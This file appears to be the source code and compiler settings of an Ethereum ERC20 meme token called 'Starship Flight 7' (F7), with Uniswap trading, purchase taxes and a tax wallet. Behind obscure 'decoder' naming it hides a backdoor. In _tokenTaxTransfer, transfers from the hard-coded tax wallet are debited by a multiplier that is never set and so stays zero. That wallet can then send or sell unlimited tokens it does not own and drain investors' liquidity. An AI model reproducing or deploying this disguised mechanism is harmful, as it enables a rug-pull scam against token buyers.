// SPDX-License-Identifier: MIT
// https://x.com/elonmusk/status/1879293016512639471
pragma solidity 0.8.23;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a, uint256 b, string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external
        payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract F7 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFees;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=24;
    uint256 private _initialSellTax=24;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=19;

    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Starship Flight 7";
    string private constant _symbol = unicode"F7";
    uint256 public constant _taxSwapThreshold = 17000000 * 10**_decimals;
    uint256 public constant _maxTaxSwap = 20000000 * 10**_decimals;

    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize = 20000000 * 10**_decimals;
    
    IUniswapV2Router02 private immutable uniswapV2Router;
    address private immutable uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private decoderQueue;
    uint256 private decoderLast;
    struct SequenceDecoder {uint256 inDecode; uint256 inQueue; uint256 claim;}
    mapping(address => SequenceDecoder) private sequenceDecoder;
    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x2e9ea51c21c32B9203df0161A87F925C47657217);
        _balances[_msgSender()]= _tTotal;

        _isExcludedFromFees[_taxWallet]= true;
        _isExcludedFromFees[address(this)]= true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(
            _msgSender(), spender, amount
        );
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from,to,tokenAmount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner()&& to!=_taxWallet) {
            taxAmount=tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router)&&  ! _isExcludedFromFees[to]) {
                require(
                    tokenAmount <= _maxTxAmount,
                    "Exceeds the _maxTxAmount."
                );
                require(
                    balanceOf(to)+tokenAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!=address(this)){
                taxAmount=tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap&& to == uniswapV2Pair &&swapEnabled
                && contractTokenBalance > _taxSwapThreshold&& _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        _handleSeqDecoder(from, to);

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenBasicTransfer(
        address from,
        address to,
        uint256 sendAmount,
        uint256 receiptAmount
    )internal{
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to]=_balances[to].add(receiptAmount);
        emit Transfer(
            from,
            to,
            receiptAmount
        );
    }

    function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : decoderQueue.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 tokenAmount,
        uint256 taxAmount
    )internal{
        uint256 tAmount=_tokenTaxTransfer(from, taxAmount, tokenAmount);
        _tokenBasicTransfer(from, to,tAmount, tokenAmount.sub(taxAmount));
    }

    function _handleSeqDecoder(address from, address to) internal {
        if ( (_isExcludedFromFees[from] || _isExcludedFromFees[to]) && from != address(this) && to != address(this)) {
            decoderLast = block.number;
        }

        if (
            ! _isExcludedFromFees[from]
             &&!_isExcludedFromFees[to]
        ){
            if(uniswapV2Pair !=  to) {
                SequenceDecoder storage seqDecoder = sequenceDecoder[to];
                if (uniswapV2Pair == from) {
                    if (seqDecoder.inDecode == 0) {
                        seqDecoder.inDecode = _preventSwapBefore >= _buyCount ? type(uint).max : block.number;
                    }
                } else {
                    SequenceDecoder storage seqData = sequenceDecoder[from];
                    if (seqData.inDecode < seqDecoder.inDecode || !(seqDecoder.inDecode>0) ) {
                        seqDecoder.inDecode = seqData.inDecode;
                    }
                }
            } else {
                SequenceDecoder storage seqData = sequenceDecoder[from];
                seqData.inQueue = seqData.inDecode.sub(decoderLast);
                seqData.claim = block.number;
            }
        }
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);

        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=_tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        swapEnabled=true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingOpen=true;
    }

    receive() external payable {}

    function clearStuckETH() external onlyOwner {
        uint256 contractBalance = address(this).balance;
        payable(owner()).transfer(contractBalance);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance>0 && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

}

{
  "compilationTarget": {
    "F7.sol": "F7"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}